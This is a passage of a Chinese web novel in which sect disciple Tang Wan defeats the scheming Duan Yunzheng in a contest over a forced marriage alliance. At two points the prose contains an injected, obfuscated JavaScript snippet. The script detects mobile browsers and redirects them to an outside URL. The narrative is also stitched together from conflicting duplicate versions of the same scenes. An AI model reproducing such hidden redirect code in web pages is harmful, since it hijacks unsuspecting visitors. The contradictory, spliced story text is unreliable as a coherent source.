唐婉却已转过身,望向窗外沉沉的暮色,侧脸线条在光影中显得格外孤峭,语气里带着一种超越年龄的沧桑与担当:“我既为天罡地煞宗弟子,又是这烟柳阁中唯一的?咳,与你并肩之人。天若塌下来,本该由男人顶着,可如今这世道,男人靠不住,我便来顶。这是我该担的责任,责无旁贷。”她刚摆完这番谱,脚下不知被什么绊了一下,一个趔趄,险些栽倒在地。“哎呀!”唐婉惊呼一声,手忙脚乱地站稳,脸上那副高深莫测的表情瞬间碎裂,沾了几片不知从哪飘落的草叶。“噗”赵雨菲忍不住笑出了声,随即又觉得此刻不该笑,连忙抿住嘴,上前一步扶住她的胳膊,关切道,“唐师妹,你没事吧?可是太累了?”唐婉拍了拍衣摆上的灰,将草叶摘掉,干笑两声:“无事无事,姑姑交代的任务算是完成了,总得有点代价。”赵雨菲一愣,随即想起白梦秋临走前那句“把她逗开心点”,顿时明白了唐婉方才那番激昂陈词,大半是故意说给她听的宽慰之词,不由得又气又笑,啐道:“唐师妹你你坏死了!”“呵呵,今日天气倒是尚可。”唐婉摸了摸鼻子,若无其事地转移话题。为免赵雨菲再钻牛角尖,唐婉留她在烟柳阁用饭。席间有宝儿、梦儿这两个活宝插科打诨,赵雨菲紧绷的心弦终究是松了下来。闲聊中,白浅也将段云铮来提亲之事简略说了,只听得宝儿叉腰怒道:“那姓段的安得什么心!赵师姐这般好人,岂是他能肖想的?” 白浅慢条斯理地喝了口茶,冷声道:“段家势大,段云铮更是自幼被娇惯,看似温文尔雅,实则目中无人。他此次点名要赵师姐,绝非良配。”唐婉在一旁猛翻白眼,对着白浅道:“白师姐,你这话说得,好像全天下的‘温文尔雅’都靠不住似的。”白浅眼皮一抬,凉凉地瞥她一眼:“怎么,唐师妹有不同见解?”“我岂敢。”唐婉举手投降,“只是觉得,有些人看着不像好人,往往就真的不是好人。”两人一番机锋,赵雨菲看在眼里,心下稍安,知道师姐妹们虽平日斗嘴,关键时刻却是齐心护着她的。翌日,白梦秋便在正殿召见了段云铮,将连夜与众长老商议的结果告知于他。“段少主,”白梦秋高坐其上,玄衣肃穆,语气冷淡而不失礼数,“贵我两家结盟之事,天罡地煞宗自当应允,守望相助,义不容辞。然,小徒赵雨菲,修为浅薄,出身寒微,更兼性情愚钝,实在高攀不起少主。这门亲事,还请少主收回成命,莫要再提。”殿内气氛一时凝滞。段家随从的脸上均有怒色,只待段云铮一声令下。谁知段云铮只是微微垂首,沉吟片刻,便展颜一笑,竟是全无被拂面子的恼怒:“既是白宗主觉得不妥,那便罢了。结盟之事为重,儿女私情,何足挂齿。”他甚至绝口未提将自己妹妹送来天罡地煞宗修行作为补偿之事,仿佛昨日的提亲,不过是一时兴起。双方并未签订任何实质性的契约文书,所谓的同盟,不过是几句口头约定,松散得如同晨雾。段云铮一走,天罡地煞宗的高层们反而面面相觑,捉摸不透这巴山南巨擘葫芦里卖的究竟是什么药。是夜,地隐门外宗一处僻静院落,本是安排给段云铮一行歇息之所。屋内烛火通明,映出窗纸上几道纠缠的暧昧身影。段云铮斜倚在榻上,衣襟半敞。他腿上跨坐着一名段家随行的女眷,早已褪去了外袍,只着一层薄如蝉翼的纱衣,身躯曼妙,若隐若现。那女子指尖拈着一颗葡萄,喂入段云铮口中,眼波流转,媚意横生。另有两名同样衣着清凉的女子,一左一右侍奉着,一个为他捶腿,一个为他扇风。“少主,”腿上的女子娇声道,手指在他胸口画着圈,“那天罡地煞宗也太不识抬举了,竟敢拒绝少主的美意。依奴婢看,他们宗门那点底子,还不如我们段家一个别院呢。”段云铮眯着眼,享受着这温香软玉,嘴角勾起一抹讥诮:“他们拒绝,本少主早料到了。一群困兽,总要摆出点架子,才显得自己尚有尊严。”“那少主还这般迁就他们?”女子不解。“傻丫头。”段云铮拍了拍她的脸蛋,“我要的,从来就不是那个赵雨菲。一个笃行段的小弟子,值得我亲自跑这一趟?”女子一怔:“那是为何?”段云铮眼中闪过一丝阴冷:“天罡地煞宗,地处巴山要冲,灵脉暗藏。我段家要北进,这里是必经之地。结盟是假,摸清虚实是真。至于那个赵雨菲?”他想起了白梦秋那张冷若冰霜的脸,和唐婉那双看似温婉实则锐利的眼,“不过是块试探的石头罢了。石头既然踢开了,路,自然就好走了。”他仰头饮尽杯中酒,将杯盏重重一搁:“传话下去,好好‘看看’这天罡地煞宗,都有些什么宝贝。特别是那宗主白梦秋,和那个叫唐婉的女弟子。”窗外,月色朦胧,将树影拉得细长扭曲,宛如潜伏的鬼魅。地隐门看似躲过了一劫,却不知,更深的漩涡,已在暗流之下悄然成型。地隐门,议事正殿。白梦秋高坐玄冰玉座之上,指尖敲击着扶手,发出沉闷的“笃、笃”声。下方,段云铮负手而立,神色从容,仿佛昨日被拒亲之事从未发生。“段少主,”白梦秋开口,嗓音冷冽如泉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594686|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天罡地煞宗虽弱,却也并非任人予取予求之地。赵雨菲是我宗三代弟子翘楚,性子绵软,不习争斗,实在配不上少主虎威。”段云铮微微一笑,并不动怒:“白宗主言重了。段某此番前来,诚心结盟。既然赵姑娘不合适,那便罢了。只是?”他话锋一转,眼底掠过一丝精光,“两家既为同盟,自当互通有无,彰显诚意。段某有个提议,或可平息昨日不快。”“哦?少主请讲。”“比武招亲。”段云铮吐出四字,语气平淡却不容置疑,“听闻贵宗三代弟子中,除赵雨菲外,另有几位资质不俗的姑娘。段某不才,愿以身为注,公开比武招亲。胜者,即可与段某缔结婚约,两家借此联姻,岂不美哉?如此一来,贵宗既全了颜面,段某也得了佳偶,两全其美。”此言一出,殿内众长老哗然。这哪里是联姻,分明是将地隐门当成待价而沽的货物!然而,白梦秋却并未立刻发作。她深深看了段云铮一眼,忽地冷笑起来:“好一个两全其美!段少主好算计。既如此,本座便应了你这‘比武招亲’。只是场地、规矩,须得依我天罡地煞宗来定!”段云铮躬身一礼:“理应如此。”消息传出,地隐门内气氛诡异。烟柳阁中,唐婉听完通报,手中茶盏“啪”地一声搁在桌上,茶水溅出半盏。“比武招亲?”她冷笑,“好一个段云铮,好一个以退为进!赵师姐那里刚退,转头就来个网罗全宗?这是打定主意,非要我天罡地煞宗出一个媳妇不可了!”白浅亦是面色沉冷:“他这是仗着段家势大,欺我宗门无人。比武?我宗年轻一代,能与他抗衡者寥寥无几。”赵雨菲已是吓得面无人色,拉着唐婉的衣袖,颤声道:“唐师妹,白师姐,我、我该怎么办?他这分明是不肯罢休?”唐婉拍了拍她的手,安抚道:“师姐莫慌。宗主既已应下,必有后手。这比武招亲,未必就是死局。”与此同时,地隐门外宗,段云铮暂居的院落。段云铮正由几名侍女服侍着更衣。他披散着墨发,任由温水从肩头滑落,听着属下低声禀报地隐门内的动向,嘴角噙着一丝冷笑。 “宗主白梦秋倒是干脆,这就定下了比武招亲。只是不知,她准备推出哪个倒霉蛋来应付我?”段云铮漫不经心地问。一名心腹女弟子低声道:“回少主,地隐门年轻一代,除了那个赵雨菲,便数秦姝、单芷若二人资质最佳。只是单芷若性子刚烈,怕是不好掌控。秦姝倒是温婉可人。”段云铮嗤笑一声:“秦姝?单芷若?呵,不管是谁,只要入了我的眼,便是我的。本少主要娶的,可不是什么劳什子天才,而是一个能捏扁搓圆、听话懂事的内应。”他闭上眼,脑海里闪过白梦秋冷若冰霜的脸,和唐婉那双看似温婉实则藏针的眼。“传话下去,”段云铮缓缓道,“比武那日,都给我机灵点。我倒要看看,这天罡地煞宗,除了会种药材,还有什么本事。”数日后,比武之期既定。地隐门演武场上,人声鼎沸。高台之上,白梦秋端坐主位,段云铮位列客席。下方,地隐门年轻弟子列阵而立,个个神情愤慨又带着几分期待。毕竟,能有机会与巴山南巨擘段家少主交手,也是难得的历练。“段少主,”白梦秋站起身,声音传遍全场,“今日比武,点到为止,以切磋技艺、增进两家情谊为主。还请少主手下留情。”段云铮含笑点头:“宗主放心。”话音未落,一道窈窕身影已如惊鸿般掠上演武台中央。来人身着鹅黄劲装,手持一柄秋水长剑,正是秦姝。她面色虽有些苍白,眼神却异常坚定,直视段云铮,朗声道:“天罡地煞宗,秦姝,请段师妹赐教!”段云铮挑眉,似笑非笑地打量着她。这秦姝,气质清冷,眉宇间带着一股韧劲,倒比那赵雨菲更有意思几分。“秦师妹,”段云铮缓步走下高台,每一步都仿佛踏在人心尖上,“本少主此番前来,意在择偶,并非以势压人。秦师妹若是赢了,本少主不仅不再提婚事,更可向贵宗赠送一批修炼资源,以表诚意。”他这话,看似大度,实则暗藏机锋。既显得自己磊落,又给地隐门施加了无形的压力,秦姝若输了,便是断了宗门的财路和前程。秦姝心头一紧,却挺直了脊梁:“谢少主厚爱。姝儿修为浅薄,只知全力以赴,不负宗门栽培。”“好一个不负栽培!”段云铮大笑,随手折下一段树枝,权当兵器,“那便请秦师妹赐招吧!”秦姝不再多言,娇叱一声,剑光乍起,如清泉流泻,直取段云铮。她剑法精妙,身法灵动,已是笃行段巅峰的修为,在年轻一代中堪称翘楚。然而,段云铮却只是闲庭信步般,以树枝轻松格挡。他修为深不可测,远超在场众人,每一招都看似轻描淡写,却总能恰到好处地化解秦姝的攻势,甚至偶尔反震得她手臂发麻。台下,唐婉紧攥着拳头,指甲几乎嵌入手心。她看得清楚,段云铮并未使出全力,而是在戏耍秦姝,如同猫戏老鼠。白师姐,”唐婉低声道,“这样下去,秦师姐必败无疑。段云铮在耗她耐心,挫她锐气。”白浅冷冷道:“宗主既安排了秦姝出场,必有深意。你看好了。”果然,数十招过后,秦姝渐感不支,气息微乱。段云铮眼中精光一闪,树枝如灵蛇出洞,点向她手腕脉门。秦姝急忙回剑格挡,却已慢了半拍。就在此时,另一道身影如鬼魅般掠上演武台,手中铁剑横挡,“叮”的一声脆响,替秦姝架开了这必中之势。来人一身青衣,面容冷峻,正是单芷若。她将秦姝护在身后,冷冷盯着段云铮:“段少主,切磋而已,何必赶尽杀绝?”段云铮定睛一看,眼中闪过一丝讶异,随即化为更深的笑意:“单师妹?好快的身手。怎么,你也想与本少主比划比划?”单芷若迎着他的目光,一字一顿:“秦师妹已力竭,这一场,算我们认输。不过,段少主若真有意择偶,不妨也与我单芷若,过上几招?”全场哗然!白梦秋在高台上,眼底掠过一丝极淡的笑意,旋即恢复肃穆。段云铮盯着单芷若,良久,抚掌大笑:“好!好一个天罡地煞宗,好一个单芷若!本少主今日,倒是开了眼界了!”他笑声戛然而止,目光锐利如刀:“单师妹,你可想清楚了?接本少主三招,你若接得住,今日之事,段某再不提起。你若接不住?”“若我接不住,”单芷若打断他,剑尖斜指,战意昂扬,“便算我天罡地煞宗无人,任凭少主处置!”风起于青萍之末,浪成于微澜之间。演武场上,两道身影对峙,一场关乎宗门荣辱与个人命运的较量,一触即发。而高台之下,赵雨菲望着那两个替她挡在前面的背影,眼中泪水滚落,却不再是恐惧,而是感激与决心。 62. 红妆不惜雪刃寒 风起于青萍之末,浪成于微澜之间。演武场上,单芷若那句“任凭少主处置”如惊雷炸响,满场皆寂。段云铮负手而立,嘴角那抹玩味的笑意渐渐敛去,取而代之的是一种近乎审视的冰冷。他缓步走向场中,步伐不疾不徐,却每一步都像踩在在场每一个天罡地煞宗弟子的心口上。“好一个‘任凭处置’。”段云铮停在单芷若三丈之外,轻轻摇头,“单师妹,你可知这四个字的分量?本少主若要你自断一臂,你可会断?”单芷若握剑的手青筋暴起,指节发白,却丝毫不退:“天罡地煞宗弟子,言出必行。少主不必虚言试探。”“虚言?”段云铮轻笑一声,袖袍无风自动,“那本少主便让你知晓,何为虚言。”话音未落,他身形未动,只是右手随意一抬,两根手指并拢如剑,隔空朝单芷若轻轻一划。没有罡气激荡,没有风声呼啸,看似轻描淡写的一指,单芷若却如临大敌。她只觉一股凛冽至极的剑意凭空生成,锁定周身要穴,让她进退维谷,避无可避!“铛!”千钧一发之际,单芷若横剑胸前,全力格挡。一声脆响,她整个人被震得倒飞出去,落地时踉跄数步,虎口崩裂,鲜血顺着剑柄滴落。只是一招,便已分出高下。段云铮依旧站在原地,甚至连姿势都未变过,仿佛刚才那惊天动地的一指并非他所为。“这便是第一招。”段云铮淡淡道,“单师妹,你还有两招的机会。现在认输,还来得及,本少主可当适才那句‘处置’是戏言。”单芷若咽下喉头腥甜,眼神却愈发锐利。她没有答话,身形骤然前冲,长剑如毒蛇出洞,直刺段云铮咽喉,竟是不顾自身安危,要与他拼个两败俱伤!“冥顽不灵。”段云铮轻叹一声,这次终于动了。他身形如鬼魅般一晃,轻易避开剑锋,同时一指弹出,点在剑脊之上。长剑发出一阵悲鸣,单芷若只觉一股无可抵御的巨力传来,再也握不住剑,任由长剑脱手飞出,斜插在远处的地面之上。段云铮的第二指,已点至她眉心前三寸。这一指若是落下,单芷若必死无疑。全场死寂。高台之上,白梦秋霍然起身,指尖凝聚的杀气几乎要溢散出来。她绝不允许自己的弟子死在眼前。就在这时,一道清冷的女声穿透了死寂的空气,不高,却清晰地传入每一个人耳中:“段少主,三招已过,你赢了。”段云铮指尖一顿,缓缓收回手,转身望向声音来源。只见唐婉不知何时已走上了演武台,她弯腰拾起单芷若掉落的长剑,轻轻递还给她,然后转身,直面段云铮。“唐师妹!”单芷若惊呼,想要阻拦,却被唐婉一个眼神制止。唐婉看着段云铮,脸上没有恐惧,只有一片深不见底的寒潭:“段少主既已赢了,可否兑现承诺,不再提及今日之事?”段云铮凝视着她,眼中闪过一丝复杂的光芒。他方才那两指,看似轻松,实则蕴含了段家不传之秘,别说单芷若,便是修为高她两个大境界的人,也未必能接得下来。可唐婉却仿佛根本没受到波及,神情自若。“唐师妹……”段云铮玩味地重复着这个称呼,一步步逼近她,“你方才说,三招已过?”“正是。”唐婉迎着他的目光,毫不退缩。“可本少主只出了两招。”段云铮在她面前一步之遥停下,低头俯视着她,“而且,单师妹接不住,是你天罡地煞宗无人。若唐师妹也接不住呢?”他顿了顿,一字一顿,声音不大,却让周围的温度骤然下降:“那是否意味着,你们天罡地煞宗,真的无人,只能任我段家予取予求?”唐婉的心,一点点沉了下去。她知道,段云铮等的,根本不是单芷若,也不是秦姝,而是她。从踏入这演武场的第一步起,她便已落入彀中。风更疾了,吹动两人的衣袂。一场本该结束的闹剧,因唐婉的挺身而出,陡然变得扑朔迷离,杀机四伏。段云铮话音落下,全场目光便都死死粘在了那柄钉在三丈石柱顶端的匕首上。天兵“雪魄”,虽只是尺长匕首,但其周身流淌的紫色纹路,却如活物般吞吐着令人心悸的寒芒。晚风吹过,匕刃竟发出阵阵低沉的嗡鸣,似龙吟,似虎啸,震得人气血翻腾。这就是天兵的威压。对于寻常弟子而言,罡兵已是难得,天兵更是传说中的存在。此刻传说就在眼前,其诱惑力足以让人忘却生死。“多谢白宗主成全。”段云铮微微一笑,目光扫过台下众弟子贪婪与敬畏交织的面孔,最后落回白梦秋身上,“不过,既是以武会友,光是口头约定未免无趣。不如我们再加点彩头,也让这场切磋更有些意思?”白梦秋冷冷看着他:“段少主还想如何?”段云铮缓步走向那根石柱,足尖一点,身形如大鹏展翅般掠起,轻而易举地拔下那柄“雪魄”。他单手持匕,立于高台之上,匕身在月光下折射出一片森寒的光幕,将半个演武场都笼罩其中。“这把‘雪魄’,锋利无匹,削铁如泥,更能增幅持有者的罡气运转。”段云铮将匕首轻轻抛起,又稳稳接住,动作随意却透着一股掌控一切的自信,“我段家以此物为注,赌贵宗无人能接我三招。”他顿了顿,目光如电,直射台下的唐婉:“若贵宗有人能在我手下走过三招不败,这把‘雪魄’,连同我段家此前许诺的三年协防之约,一并奉上,绝无二话!但若是贵宗无人能接?”段云铮嘴角勾起一抹残忍的弧度,声音不大,却清晰地传入每个人耳中:“那便请白宗主和诸位师妹,莫要再纠结于那点口舌之争,安心接受我段家的一切安排。包括赵雨菲师妹的婚事,以及日后两宗往来的诸多事宜。”此言一出,满场哗然。这已不是切磋,而是赌上宗门尊严与未来的生死状!赢了,天兵入囊,段家协防,天罡地煞宗得以喘息;输了,便再无拒绝段家要求的资格,只能任人摆布,沦为附庸!“段云铮!你欺人太甚!”单芷若怒喝一声,提剑便要再次冲上高台。“芷若!”唐婉一把拉住她,目光却死死盯住台上的段云铮。她看懂了段云铮的算计。用一把天兵,赌一个彻底拿捏天罡地煞宗的机会。赢了,段家颜面无损,还能得到天罡地煞宗的臣服;输了,也不过是一把天兵而已,段家毫发无损。而他选的这个时机,更是毒辣。单芷若已败,秦姝不敌,台下无人再敢应战。这把“雪魄”,分明就是悬在所有人心头的一把刀,逼着天罡地煞宗自己将脖子伸过去!“怎么?”段云铮居高临下,看着唐婉,语气中带着毫不掩饰的挑衅,“唐师妹,你们天罡地煞宗,当真无人敢接么?若是无胆,现在认输,交出赵雨菲,我段云铮,即刻便走。”“宗主!”赵雨菲在台下哭喊出声,泪水涟涟,却不知该如何是好。白梦秋坐在高台上,面色铁青,指节捏得发白。她知道这是个陷阱,可她更知道,此刻若退缩,天罡地煞宗的脊梁,便彻底断了!一时间,整个月轩台死寂一片,只有晚风呜咽,吹动着那柄天兵匕首上的紫色流光,妖异而危险。唐婉深吸一口气,将单芷若轻轻推向身后,一步,一步,走上了演武台。她每走一步,身上的气势便涨一分。当她站定在段云铮面前时,周身竟隐隐有一层肉眼可见的淡金色光晕流转。“段少主。”唐婉开口,声音清冷,如玉石相击,“天兵‘雪魄’虽好,却非我所求。今日,我唐婉便为你接这三招。”她抬起头,目光如剑,直刺段云铮:“但我也要加个彩头。若我接下这三招,除却天兵与协防之约,你段云铮,需当着天下英雄的面,向我天罡地煞宗,赔罪!”唐婉才一上台,底下上千地隐门弟子便骚动起来。女孩们骂人虽文雅,可千人齐声数落,声势也颇为壮观。 段云铮脸色再厚也有些挂不住,一阵青一阵白,如同开了染坊。唐婉冷眼看着他,冷嘲热讽道:“段少主这是要以大欺小么?我如今不过笃行段境界,在场师姐哪个实力不远超于我?至于你,虽看不出深浅,但想必远胜于我。此刻上台,是否有些欺负人了?”段云铮恼羞成怒,冷笑道:“切磋本就是年轻一代的事,我段云铮正值青年,自然算在内。至于欺负你?”他索性撕破脸皮,“我就是仗着实力高,又能奈我何?”“无耻!”“卑鄙!”台下弟子怒骂声四起,段云铮却置若罔闻。“好一个巴山南巨擘,原来行事风格便是如此,当真令人大开眼界。”唐婉话语夹枪带棒,笑里藏刀。这也确是事实。切磋未限制谁必须上场,段云铮身为段家年轻一代佼佼者,确有资格。只是此举,实在下作。“婉儿这下麻烦大了。”白梦秋在看台上蹙眉道,“段云铮摆明了不想让出那天兵‘雪魄’。”白梦秋冷笑一声:“这等阴狠之人,幸亏我宗未曾应下那联姻条件。”在众女数落声中,段云铮从随行弟子手中接过一柄宽厚巨剑,冷冷盯着唐婉:“你现在认输还来得及,否则真动起手,你脸面上也无光。”“段少主也只会口舌之利么?”唐婉鄙夷地看了他一眼,不等对方先动,脚下莲步轻移,身形骤然前冲,一剑直刺而去。段云铮冷哼一声,巨剑横扫,欲将唐婉长剑磕飞。两剑未触,唐婉却已收招变式。以笃行段之境,唐婉能越阶取胜,却也无法做得太夸张。先前对付那几个段家女弟子已是极限,如今面对段云铮,她只能依仗精妙步法游走周旋,显得颇为狼狈。段云铮越战越勇,攻势如潮。唐婉仅凭身法闪避,已无力硬接。台下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐婉手臂上又多加了几分力道,剑锋划破了段云铮脖颈上的皮肤,一滴鲜血从剑锋上来滚落下来。若是段云铮敢反击,剑只会刺得更深。此刻,唐婉十分欣喜,就将剑指在段云铮的脖颈处道:“段少主,你可千万不要动哦!”段云铮不敢妄动,真的十分害怕唐婉会划破他的脸。“若不是白梦秋帮你,你不可能赢我。”段云铮咬着洁白的贝齿,十分气恼,道:“我们再公平的战一场。”“我已经赢了,为什么还要和你战?”唐婉眨巴着眼眸,有些俏皮的问道。她的剑始终指在段云铮的脖颈和脸颊的位置,像是随时都会一剑刺下去,将段云铮毁容。在比斗之前,段云铮未想过自己会败在唐婉的手中,直到此刻,他还是不承认自己不如唐婉。段云铮不甘心,道:“只要你愿意与我再公平的战一场,我们可以赌得更大。“没兴趣!”唐婉摇了摇头,道:“本姑娘可没有那么多时间与你再战一场,这一场武斗你败了,立即跪下,道歉。”唐婉手腕一抖,铁剑发出一声清越的剑鸣,她缓缓抬起剑尖,直指段云铮鼻尖,一字一顿道: “你既输了,便该赔礼道歉。空口无凭,我不信你。要么,你跪下磕三个响头,叫我一声姑奶奶,这事儿便算了。”“你敢羞辱我?!”段云铮勃然大怒。“要么,”唐婉无视他的愤怒,继续道,“你就拿出一百万枚下品灵石,当作赔礼。否则,今日你段少主,怕是走不出我这地隐门的山门了。”段云铮眼中闪过一丝阴狠的杀意,但感受到四周天罡地煞宗弟子那如狼似虎的目光,以及高台上白梦秋那冰冷的注视,他硬生生将这口气咽了下去。 一百万枚下品灵石!这简直是狮子大开口! 可若是跪下磕头,他段家少主的面子还要不要?段云铮死死瞪着唐婉,眼中满是屈辱与怨毒。他怎么也没想到,自己精心策划的逼婚与羞辱,最终竟会变成这样一场噩梦。 唐婉静静地看着他,眼神里没有丝毫同情。她心中冷笑:段云铮若真是个男人,便该有承担后果的勇气。若他输得起,便该输得起。段云铮浑身都在颤抖,拳头捏得咯吱作响。最终,他像是下定了某种决心,从牙缝里挤出几个字:“好!我跪!”他缓缓屈膝,在那数千双眼睛的注视下,在那位他曾经轻视的女子面前,重重地跪了下去。“唐师妹,段某输了,给你赔罪!”这一跪,不仅是他个人的屈辱,更是段家在巴山南巨擘面前,低下的头颅。唐婉看着跪在面前的段云铮,心中并无半分快意,只有一片冰凉的清明。她知道,这笔账,段家迟早会找回来。但至少今日,天罡地煞宗的尊严,不容践踏。 63. 等待进入网审 段云铮站起身来,并未再看唐婉,而是将怨毒的目光投向高台上的白梦秋,咬牙切齿道:“白宗主,今日之赐,我段云铮记下了!一月之内,我段家便会遣人送来那一百万下品灵石,届时,还望贵宗好生收着!”说完这句狠话,他带着几名随行的段家弟子,捂着红肿的脸颊,狼狈不堪地离开了月轩台。那背影,哪里还有半分巴山南巨擘少主的威风,倒像是一条丧家之犬。走出天罡地煞宗门山门,夜风萧瑟,吹干了段云铮眼角的泪痕,却吹不散他心头的屈辱与杀意。他猛地一脚踹断身旁碗口粗细的幼松,嘶声道:“天罡地煞宗,还有那个唐婉,此生,我必让你们血债血偿!此仇不报,我段云铮誓不为人!”身旁的心腹女弟子低声安慰道:“少主息怒。那唐婉不过仗着诡计多端,偷袭得手罢了。论真实修为,她岂是少主对手?待少主回到家族,调集高手,踏平这弹丸之地,易如反掌。段云铮深吸一口气,强行压下怒火,眼中闪过一道阴鸷的寒光:“不急。正面强攻,虽能灭了天罡地煞宗,却也损我段家元气,徒惹旁人笑话。传我命令,去黑市,花重金悬赏唐婉的人头。我要让她求生不得,求死不能!只要她敢踏出宗门一步,便是她的死期 “至于白梦秋,要杀她更是易如反掌。她那天罡地煞宗,总共才有多少高手?不过尔尔。”“不过在此之前,我们必须尽快提升实力。”段云铮从怀中取出一只赤铜盒子,打开来,里面躺着一枚通体血红的丹药,散发着令人作呕的血腥气,“这是我从家族宝库中偷拿出来的三品丹药‘玄血丹’,服下它,我有把握在半月内冲击化境段。到时候,我便是段家年轻一代第一人,杀回此地,易如反掌!”那女弟子大喜过望:“恭喜少主!若是能突破化境段,家族定会重新审视少主的价值,届时别说一个天罡地煞宗,便是十个也不在话下。少主也可借此机会,向七长老提亲,娶了那位?段云铮脸上露出一丝扭曲的笑意:“那是自然。待我入了化境,便是白梦秋跪地求饶之时。至于唐婉我要将她千刀万剐,方能解我心头之恨!”地隐门,烟柳阁。唐婉将染血的剑收回鞘中,脸色有些苍白,脚步微晃。白梦秋快步上前,扶住她的手臂,眼中满是心疼与后怕:“婉儿,今日你太冒险了。若是段云铮那贼子狗急跳墙,不顾身份痛下杀手,你让我如何是好?”唐婉摇了摇头,打断了她的话,声音清冷而疲惫:“宗主,段云铮输得起,却未必输得起那一百万灵石的羞辱。我担心,他不会善罢甘休,会用更阴毒的手段报复。”白梦秋神色一凛:“你是说,黑市杀手?那确实防不胜防。”“很有可能。”唐婉从怀中取出一只青铜盒子,递给白梦秋,“宗主,这是弟子今日所得。里面是一枚三品丹药‘玄血丹’,能助化境段以下武者提升三成突破几率。宗主正值化境段瓶颈,服下它,定能突破。”白梦秋看着那枚丹药,却没有去接,眼中闪过一丝复杂。这枚丹药,是唐婉用屈辱换来的,也是她保住宗门尊严的底牌。“婉儿,这太贵重了”“宗主收下吧。”唐婉打断道,“只有宗主修为精进,我宗才有底气对抗段家。至于那一百万灵石,弟子自有办法。”白梦秋这才郑重接过,收入怀中,沉声道:“宗门如今外强中干,能拿出这笔巨款的,恐怕也只有段家。这笔钱,我们绝不能要。待风头过了,我亲自去一趟巴山,哪怕砸锅卖铁,也要凑齐这笔灵石还给他们,断了这个因果!”周围的弟子们看着这一幕,心中既感动又担忧。这时,一名身着黑衣、面容冷峻的年轻女子从阴影中走出,向唐婉拱手道:“唐师妹,段云铮心胸狭隘,既已结仇,必不会善罢甘休。我‘影卫’受宗主之命,此后便驻守烟柳阁外,暗中策应。若段云铮派人前来,我等便是第一道防线。”唐婉看着他,点了点头:“有劳影卫师姐。段云铮此人心狠手辣,此去黑市悬赏,恐怕会有不少亡命之徒前来。烟柳阁内多是女眷,还请影卫师姐多多费心。”影卫沉声道:“姑娘放心。只要我等有一口气在,定不让贼子踏入烟柳阁半步。”看着影卫离去的背影,唐婉心中稍安。她现在最缺的,便是那一百万灵石。“看来只能指望那东西了。”唐婉回到自己的静室,取出那只从段云铮手中夺来的天兵“雪魄”。匕首寒光凛冽,价值连城,却也换不来那一百万灵石。她盘膝坐下,心神沉入体内。自从那日突破笃行段后,体内真气便在诸神共鸣的余韵中不断夯实。如今,她终于可以尝试刻画那两种最难的基础空间铭纹了。“张型铭纹,缩型铭纹”唐婉喃喃自语,指尖凝聚起一缕真气,开始在灵纸上勾勒出第一道玄奥的轨迹。地隐门外,山林阴影中。段云铮并未走远,他躲在暗处,死死盯着山门方向,眼中闪烁着怨毒的火焰。“唐婉,你以为赢了我,便结束了?”他抚摸着依旧肿胀的脸颊,冷笑连连,“这把天兵‘雪魄’,你拿着烫手!我要让你亲眼看着,你珍视的一切,是如何一点点毁灭的!我要让你后悔今日所做的一切!”夜色如墨,笼罩着这座刚刚经历了一场羞辱与胜利的山门,也预示着一场更大的风暴,正在暗中酝酿。而静室内的唐婉,正全神贯注地操控着真气,在灵纸上刻画出一道道玄奥的轨迹。成败在此一举,她必须成功。段云铮站起身来,并没有再看唐婉,而是将目光盯向白梦秋,道:“宗主,一个月之内,我会将将一百万枚灵石送到,到时请宗主好生收着,别过。”说完这话,段云铮和几名段家随从带着护卫,灰溜溜的离开了地隐门月轩台。走出山门,段云铮的眼中淌出屈辱的眼泪,冷声的道:“唐婉居然如此侮辱我,她必须得死,还有白梦秋。此生,我都不想再见到这两人。”身旁的心腹女弟子眼中闪过一道寒光,道:“放心吧!我已经去过黑市,花费重金悬赏唐婉的头颅。只要唐婉敢离开地隐门一步,就是她的死期。”“至于白梦秋,要杀她更是轻而易举的事。”“师姐,你现在最重要的是努力修炼,争取早日达到化境段,到时候,根本不需要借助别人的手,靠你自己的实力,就能杀死唐婉。”段云铮的眼中闪过一丝冷声,道:“对!我一定要亲手将唐婉千刀万剐,以消心头之恨。”那女弟子从衣袖中取出一只赤铜盒子,递给了段云铮,道:“这是一枚三品丹药玄血丹,在你冲击化境段的时候,将它服下,可以增加三层的成功率。等你突破化境段,就可以去雨韵剑宗,以少主的天资,要通过雨韵剑宗的考试并不是难事。”段云铮将玄血丹收下,眼中露出一丝喜色,道:“突破化境段,就可以去雨韵剑宗?真是太好了,到时候一定可以见到陆徽长老。”“那是当然。”那女弟子嘴角露出一丝笑意,道:“陆徽长老现在可是雨韵剑宗徽雨院主,地位超然。你若是能够得到陆徽长老的赏识,今后,少不了你的好处。”听到她的话,段云铮立即忘掉刚才的羞辱,心中生出一丝期待。陆徽长老是何等的惊才绝艳,在她的面前,唐婉只不过是一个小角色罢了。月轩台。白梦秋道:“婉儿,你今天如此羞辱段云铮,让他当众下跪,今后,他恐怕会使用极端的办法报复你。”唐婉将长剑收回剑鞘,道:“我也没打算要羞辱他,只是想要帮宗门要回一百万枚灵石。再说,本座又岂会怕他?就算借给他一个胆子,他也不敢动我们天罡地煞宗的人。”“希望是这样吧!”唐婉取出一只青铜盒子,递给白梦秋,道:“宗主,这里面是一枚玄血丹,在你冲击化境段的时候,将它服下,可以增加三成的成功率。”唐婉准备玄血丹,本来是打算自己服用,冲击化境段。但是,她在巴山夜雨城修炼到无上极境,引来诸神共鸣,在诸神的力量加持之下,直接突破到化境段,所以,就没有用上玄血丹。现在,她将玄血丹,送给了白梦秋。白梦秋丝毫都不和唐婉客气,十分欣然的将玄血丹收下。别的那些长老和弟子都羡慕不已,要知玄道,血丹可是三品